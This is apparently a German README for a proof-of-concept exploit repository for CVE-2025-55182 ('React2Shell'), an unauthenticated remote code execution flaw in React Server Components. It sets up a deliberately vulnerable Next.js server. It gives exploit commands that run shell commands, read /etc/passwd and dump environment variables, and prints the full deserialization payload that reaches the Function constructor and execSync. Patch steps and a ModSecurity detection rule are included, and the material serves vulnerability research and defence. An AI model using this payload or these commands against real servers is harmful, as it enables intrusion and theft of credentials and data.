
Proof-of-Concept-Exploit für CVE-2025-55182 (React2Shell), der nicht authentifizierte Remotecodeausführung in React Server Components über Deserialisierung des Flight-Protokolls demonstriert. Enthält Einrichtung eines angreifbaren Servers und Erkennungsskripte.
Warnung: Dieses Projekt ist nur für Sicherheitsforschung und Bildungszwecke gedacht. Die unbefugte Nutzung auf fremden Systemen ist illegal.
| Element | Inhalt |
|---|---|
| CVE ID | CVE-2025-55182 |
| Alias | React2Shell |
| CVSS-Score | 10.0 (Critical – maximale Schwere) |
| Schwachstellentyp | Unauthenticated Remote Code Execution (RCE) |
| Entdecker | Lachlan Davidson |
| Veröffentlichungsdatum | 3. Dezember 2025 |
react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0CVE-2025-55182/
├── README.md # Diese Datei
├── vulnerable-server/ # Verwundbarer Next.js-Server
│ ├── package.json
│ ├── next.config.js
│ ├── tsconfig.json
│ └── app/
│ ├── layout.tsx
│ ├── page.tsx
│ └── actions.ts # Server Action
├── exploit/ # Exploit PoC
│ ├── package.json
│ ├── poc.js # RCE-Exploit-Skript
│ └── check-vulnerability.js # Schwachstellenprüf-Skript
└── React2Shell-CVE-2025-55182-original-poc/ # Original-PoC-Referenz
# Abhängigkeiten installieren
cd vulnerable-server
npm install
# Server im Entwicklungsmodus starten (Port 3000)
npm run dev
Der Server läuft unter http://localhost:3000.
In einem neuen Terminal:
# Abhängigkeiten installieren
cd exploit
npm install
# Schwachstelle prüfen
npm run check
# PoC ausführen (Testmodus)
npm run exploit
node poc.js -m test
# macOS
node poc.js -m calc
# Linux
node poc.js -m calc -c linux
# Windows
node poc.js -m calc -c windows
# id-Befehl ausführen
node poc.js -t http://localhost:3000 -m rce -c "id"
# Datei lesen
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"
# Systeminformationen
node poc.js -t http://localhost:3000 -m rce -c "uname -a"
node poc.js -t http://localhost:3000 -m env
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"
Tritt beim Deserialisieren der vom Client gesendeten Daten im Flight-Protokoll von React Server Components auf.
Die Funktion requireModule vertraut den vom Client gesendeten Eigenschaftsnamen ohne Validierung
→ moduleExports[metadata[NAME]] wird ohne hasOwnProperty-Prüfung ausgeführt
→ Prototype-Chain kann manipuliert werden (Server-Side Prototype Pollution)
→ Function-Konstruktor erlangen → RCE
$@x Deserialisierung auslösen – Referenz auf Chunk-Objekt erlangen.then-Methode injizierenstatus: resolved_model setzen_response, _formData usw. nutzen$1:constructor:constructornew Function(schadcode) ausführen{
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': 'process.mainModule.require("child_process").execSync("id")//',
'_formData': {
'get': '$3:constructor:constructor'
},
'_chunks': '$2:_response:_chunks'
}
}
# Für 15.0.x-Benutzer
npm install [email protected]
# Für 15.1.x-Benutzer
npm install [email protected]
# Für 15.2.x-Benutzer
npm install [email protected]
npm install [email protected]
npm install [email protected]
npm install [email protected]
POST-AnfrageNext-Action-Header vorhandenmultipart/form-data-Format$@, resolved_model, constructor# Verdächtige Flight-Payloads erkennen
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:1001,phase:2,deny,status:403,\
chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
"t:lowercase"
Dieses Projekt wird nur für Bildungs- und Forschungszwecke bereitgestellt. Die Nutzung zu böswilligen Zwecken ist untersagt.
Hinweis: Wenn Sie diese Schwachstelle in einer realen Umgebung entdecken, wenden Sie sofort den Patch an. Wenn ein Angriff bestätigt wurde, melden Sie dies dem Sicherheitsteam und führen Sie eine Sicherheitsüberprüfung durch.